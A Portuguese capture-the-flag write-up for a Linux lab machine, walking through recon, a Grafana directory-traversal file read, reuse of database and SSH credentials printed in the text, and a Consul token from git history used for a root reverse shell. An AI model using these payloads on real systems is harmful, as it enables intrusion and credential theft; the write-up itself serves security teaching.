Máquina Linux média onde exploramos uma falha de Arbitrary File Read presente no Grafana, o que posteriormente nos levou a credencial de um usuário para obter acesso ao alvo usando o serviço SSH. Por fim, exploramos um RCE presente no serviço consul após encontrar seu token exposto em um projeto git, de modo que pudemos escalar privilégios obtendo uma shell como root.
Reconhecimento de Rede
Verificando a conectividade via Ping
A primeira ação para reconhecimento do alvo é testar a conectividade com ele, utilizando o comando ping. Ao enviar um pacote ICMP, podemos confirmar se a máquina alvo está acessível na rede.
No retorno, o TTL de 63 é uma indicação de que possivelmente estamos lidando com um sistema Linux. O TTL inicial para sistemas Linux costuma ser 64, e o valor observado no ping geralmente é reduzido conforme os pacotes atravessam roteadores na rede. Como o TTL está próximo de 64, é provável que o sistema alvo seja uma máquina Linux.
> ping -c 1 10.10.11.183
PING 10.10.11.183 (10.10.11.183): 56 data bytes
64 bytes from 10.10.11.183: icmp_seq=0 ttl=63 time=432.689 ms
--- 10.10.11.183 ping statistics ---
1 packets transmitted, 1 packets received, 0% packet loss
round-trip min/avg/max/stddev = 432.689/432.689/432.689/0.000 ms
Varredura de Portas e Serviços
Em seguida, executei um escaneamento de porta no alvo para identificar quaisquer portas abertas que pudessem ser usadas para novos ataques. Usei a ferramenta nmap para verificar todas as portas (1-65535) no alvo.
> nmap -sS -p- --min-rate 5000 -v -n -Pn -oG portsTCP.gnmap 10.10.11.183
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
3000/tcp open ppp
3306/tcp open mysql
A varredura revelou as portas abertas, portanto, ainda com o nmap, verifiquei quais versões de serviços estavam presentes nessas portas, bem como executei alguns scripts de enumeração padrão. Com isso, foram revelados os serviços SSH, MySQL e HTTP e suas respectivas versões.
Em seguida, procedi a enumerar os serviços HTTP usando a ferramenta whatweb para coletar informações sobre o software e a versão do servidor web. A saída mostra que na porta 80 um servidor web Apache/2.4.41 está rodando, enquanto a porta 3000 retornou um status de 302. Nada diferente do que obtemos com nmap anteriormente.
> whatweb -v http://10.10.11.183 http://10.10.11.183:3000 | tee whatweb.txt
WhatWeb report for http://10.10.11.183
Status : 200 OK
Title : Ambassador Development Server
IP : 10.10.11.183
Country : RESERVED, ZZ
Summary : Apache[2.4.41], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], MetaGenerator[Hugo 0.94.2], Open-Graph-Protocol[website], X-UA-Compatible[IE=edge]
HTTP Headers:
HTTP/1.1 200 OK
Date: Sun, 15 Jan 2023 04:50:23 GMT
Server: Apache/2.4.41 (Ubuntu)
Last-Modified: Fri, 02 Sep 2022 01:37:04 GMT
ETag: "e46-5e7a7c4652f79-gzip"
Accept-Ranges: bytes
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 1310
Connection: close
Content-Type: text/html
WhatWeb report for http://10.10.11.183:3000
Status : 302 Found
Title : <None>
IP : 10.10.11.183
Country : RESERVED, ZZ
Summary : Cookies[redirect_to], HttpOnly[redirect_to], RedirectLocation[/login], UncommonHeaders[x-content-type-options], X-Frame-Options[deny], X-XSS-Protection[1; mode=block]
HTTP Headers:
HTTP/1.1 302 Found
Cache-Control: no-cache
Content-Type: text/html; charset=utf-8
Expires: -1
Location: /login
Pragma: no-cache
Set-Cookie: redirect_to=%2F; Path=/; HttpOnly; SameSite=Lax
X-Content-Type-Options: nosniff
X-Frame-Options: deny
X-Xss-Protection: 1; mode=block
Date: Sun, 15 Jan 2023 04:50:23 GMT
Content-Length: 29
Connection: close
Acessando o servidor na porta 3000, vemos que o redirecionamento está sendo feito para um painel de login do Grafana, versão 8.2.0.
Iniciando a busca de possíveis vulnerabilidades presentes no Grafana usando a ferramenta searchsploit, vemos que há um bug de Directory Traversal e Arbitrary File Read presente na versão 8.3.0, portanto é possível que este bug também exista na versão anterior (8.2.0) que está rodando no nosso alvo.
> searchsploit grafana
--------------------------------------------------------------- ---------------------------
Exploit Title | Path
--------------------------------------------------------------- ---------------------------
Grafana 7.0.1 - Denial of Service (PoC) | linux/dos/48638.sh
Grafana 8.3.0 - Directory Traversal and Arbitrary File Read | multiple/webapps/50581.py
--------------------------------------------------------------- ---------------------------
Arbitrary File Read
Inspecionando o script com o comando searchsploit -x multiple/webapps/50581.py, podemos ver a PoC de como este bug é explorado. Ao enviar a requisição da PoC para o alvo usando curl, vemos que o servidor é vulnerável, assim podemos ver os arquivos do alvo arbitrariamente.
Procurando informações sobre arquivos importantes do Grafana, há seu banco de dados "grafana.db", podemos então buscá-lo no diretório /var/lib/grafana.
> curl -s --path-as-is -X GET 'http://10.10.11.183:3000/public/plugins/welcome/../../../../../../../../../../../../../var/lib/grafana/grafana.db' | tee grafana.db
O arquivo existe no alvo e é um banco de dados SQL.
> file grafana.db
grafana.db: SQLite 3.x database, last written using SQLite version 3035004, file counter 804, database pages 161, cookie 0x119, schema 4, UTF-8, version-valid-for 804
No Linux você pode usar a ferramenta sqlite3 para abrir o arquivo, mas como tenho a tendência de me organizar e fazer tudo no VSCode, estarei usando a extensão SQL Tools.
Ambas as ferramentas permitem que você visualize o grafana.db. Verificando as tabelas do banco de dados, em data_source encontramos uma credencial de um banco de dados.
Com SQL Tools podemos exportar essa informação em JSON para análise futura.
Como esta é uma credencial de banco de dados e temos a porta 3306 do serviço MySQL aberta, podemos então tentar acessá-la. A credencial é válida, portanto, podemos extrair o conteúdo deste banco de dados.
Chama atenção o banco de dados whackywidget por ser um nome muito diferente dos demais que aparentam ser algo mais convencional e padrão. Então vamos enumerá-lo.
> mysql -h 10.10.11.183 -ugrafana -p'dontStandSoCloseToMe63221!'
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MySQL connection id is 109
Server version: 8.0.30-0ubuntu0.20.04.2 (Ubuntu)
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MySQL [(none)]> show databases;
+--------------------+
| Database |
+--------------------+
| grafana |
| information_schema |
| mysql |
| performance_schema |
| sys |
| whackywidget |
+--------------------+
6 rows in set (0.173 sec)
MySQL [(none)]> use whackywidget;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
MySQL [whackywidget]> show tables;
+------------------------+
| Tables_in_whackywidget |
+------------------------+
| users |
+------------------------+
1 row in set (0.171 sec)
MySQL [whackywidget]> describe users;
+-------+--------------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+-------+--------------+------+-----+---------+-------+
| user | varchar(255) | YES | | NULL | |
| pass | varchar(255) | YES | | NULL | |
+-------+--------------+------+-----+---------+-------+
2 rows in set (0.179 sec)
MySQL [whackywidget]> select user,pass from users;
+-----------+------------------------------------------+
| user | pass |
+-----------+------------------------------------------+
| developer | YW5FbmdsaXNoTWFuSW5OZXdZb3JrMDI3NDY4Cg== |
+-----------+------------------------------------------+
1 row in set (0.175 sec)
Gaining Access
Assim, no banco de dados wackywidget temos a presença do user developer com uma senha aparentemente codificada com base64. Então podemos decodificar a senha e vê-la em texto simples.
Como o serviço SSH está presente na porta 22 do alvo e vimos anteriormente que nele há um user developer com shell, podemos verificar se esta credencial está sendo reutilizada para acesso via SSH.
Com essa flag, concluímos o primeiro objetivo do CTF e podemos passar para a próxima etapa de escalar privilégios para obter acesso a flag root.txt.
Privilege Escalation
Fazendo uma descoberta interna do alvo, no diretório /opt, temos o repositório my-app.
developer@ambassador:~$ ls -la /opt/my-app/.git
total 52
drwxrwxr-x 8 root root 4096 Mar 14 2022 .
drwxrwxr-x 5 root root 4096 Mar 13 2022 ..
drwxrwxr-x 2 root root 4096 Mar 13 2022 branches
-rw-rw-r-- 1 root root 19 Mar 13 2022 COMMIT_EDITMSG
-rw-rw-r-- 1 root root 92 Mar 14 2022 config
-rw-rw-r-- 1 root root 73 Mar 13 2022 description
-rw-rw-r-- 1 root root 21 Mar 14 2022 HEAD
drwxrwxr-x 2 root root 4096 Mar 13 2022 hooks
-rw-rw-r-- 1 root root 907 Mar 14 2022 index
drwxrwxr-x 2 root root 4096 Mar 13 2022 info
drwxrwxr-x 3 root root 4096 Mar 13 2022 logs
drwxrwxr-x 25 root root 4096 Mar 13 2022 objects
drwxrwxr-x 4 root root 4096 Mar 13 2022 refs
Git Enumeration
Nele há um .git, então podemos visualizar o histórico de seus logs. O primeiro log possui a descrição tidy config script, que representa alguma "correção" que foi feita no script de configuração, e isto chama a atenção.
developer@ambassador:/opt/my-app$ git log
commit 33a53ef9a207976d5ceceddc41a199558843bf3c (HEAD -> main)
Author: Developer <developer@ambassador.local>
Date: Sun Mar 13 23:47:36 2022 +0000
tidy config script
commit c982db8eff6f10f8f3a7d802f79f2705e7a21b55
Author: Developer <developer@ambassador.local>
Date: Sun Mar 13 23:44:45 2022 +0000
config script
commit 8dce6570187fd1dcfb127f51f147cd1ca8dc01c6
Author: Developer <developer@ambassador.local>
Date: Sun Mar 13 22:47:01 2022 +0000
created project with django CLI
commit 4b8597b167b2fbf8ec35f992224e612bf28d9e51
Author: Developer <developer@ambassador.local>
Date: Sun Mar 13 22:44:11 2022 +0000
.gitignore
Visualizando este log, vemos um token da ferramenta consul sendo removido. Potencialmente se trata de um token que sem querer estava exposto no repositório e mais tarde, quando se deram conta, foi removido.
developer@ambassador:/opt/my-app$ git show 33a53ef9a207976d5ceceddc41a199558843bf3c
commit 33a53ef9a207976d5ceceddc41a199558843bf3c (HEAD -> main)
Author: Developer <developer@ambassador.local>
Date: Sun Mar 13 23:47:36 2022 +0000
tidy config script
diff --git a/whackywidget/put-config-in-consul.sh b/whackywidget/put-config-in-consul.sh
index 35c08f6..fc51ec0 100755
--- a/whackywidget/put-config-in-consul.sh
+++ b/whackywidget/put-config-in-consul.sh
@@ -1,4 +1,4 @@
# We use Consul for application config in production, this script will help set the correct values for the app
-# Export MYSQL_PASSWORD before running
+# Export MYSQL_PASSWORD and CONSUL_HTTP_TOKEN before running
-consul kv put --token bb03b43b-1d81-d62b-24b5-39540ee469b5 whackywidget/db/mysql_pw $MYSQL_PASSWORD
+consul kv put whackywidget/db/mysql_pw $MYSQL_PASSWORD
E esta ferramenta consul se faz presente no alvo. Portanto, podemos guardar este token pois o mesmo pode ser válido e útil posteriormente.
developer@ambassador:~$ consul version
Consul v1.13.2
Revision 0e046bbb
Build Date 2022-09-20T20:30:07Z
Protocol 2 spoken by default, understands 2 to 3 (agent will automatically use protocol >2 when speaking to compatible agents)
what is consul?
Consul is a service networking solution to automate network configurations, discover services, and enable secure connectivity across any cloud or runtime.
what is consul default port?
Use
Default Ports
DNS: The DNS server (TCP and UDP)
8600
HTTP: The HTTP API (TCP Only)
8500
HTTPS: The HTTPs API
disabled (8501)*
gRPC: The gRPC API
disabled (8502)*
LAN Serf: The Serf LAN port (TCP and UDP)
8301
Wan Serf: The Serf WAN port (TCP and UDP)
8302
server: Server RPC address (TCP Only)
8300
Sidecar Proxy Min: Inclusive min port number to use for automatically assigned sidecar service registrations.
21000
Sidecar Proxy Max: Inclusive max port number to use for automatically assigned sidecar service registrations.
21255
Após buscar o que é consul e suas portas padrões, com netstat podemos ver que aparentemente ele está em execução no alvo.
Procurando no searchsploit por alguma vulnerabilidade relacionada ao consul, vemos que existe um RCE, no entanto o script foi projetado para funcionar com Metasploit.
> searchsploit consul
----------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
----------------------------------------------------------------------------- ---------------------------------
Hashicorp Consul - Remote Command Execution via Rexec (Metasploit) | linux/remote/46073.rb
Hashicorp Consul - Remote Command Execution via Services API (Metasploit) | linux/remote/46074.rb
Hassan Consulting Shopping Cart 1.18 - Directory Traversal | cgi/remote/20281.txt
Hassan Consulting Shopping Cart 1.23 - Arbitrary Command Execution | cgi/remote/21104.pl
PHPLeague 0.81 - '/consult/miniseul.php?cheminmini' Remote File Inclusion | php/webapps/28864.txt
----------------------------------------------------------------------------- -------------------------
Sendo assim, comecei a procurar por scripts existentes no GitHub como alternativa. Então, encontrei o script abaixo.
Podemos copiar o raw do script Python presente no repositório e colá-lo no alvo.
Analisando como o script funciona, basicamente temos que passar o IP e uma porta de nossa máquina atacante para receber uma reverse shell privilegiada. Também deve ser indicado um token do consul, e como anteriormente vimos um token nos logs do git, vamos testar com ele para ver se funciona.
developer@ambassador:/dev/shm$ python3 consul.py --lhost --lport 443 --token bb03b43b-1d81-d62b-24b5-39540ee469b5
[+] Request sent successfully, check your listener
Ao executar o script, nos colocando em escuta com netcat na nossa máquina atacante, o RCE será explorado e assim receberemos uma reverse shell como root.
> nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.22] from (UNKNOWN) [10.10.11.183] 37746
bash: cannot set terminal process group (37785): Inappropriate ioctl for device
bash: no job control in this shell
root@ambassador:/# hostname -I
hostname -I
10.10.11.183 dead:beef::250:56ff:feb9:e54f
Então basta ler a flag root.txt no diretório /root para concluir o objetivo do CTF.